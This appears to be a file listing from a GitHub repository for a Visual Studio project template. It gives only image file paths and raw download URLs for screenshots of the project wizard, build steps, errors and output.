--------------------------------------------------------------------------------
/images/NewProjectWizard.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/NewProjectWizard.png
--------------------------------------------------------------------------------
/images/TemplatesLocation.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/TemplatesLocation.png
--------------------------------------------------------------------------------
/images/building.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/building.png
--------------------------------------------------------------------------------
/images/building2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/building2.png
--------------------------------------------------------------------------------
/images/code1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/code1.png
--------------------------------------------------------------------------------
/images/errors.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/errors.png
--------------------------------------------------------------------------------
/images/output.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/output.png
--------------------------------------------------------------------------------
/images/project_structure.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/images/project_structure.png
--------------------------------------------------------------------------------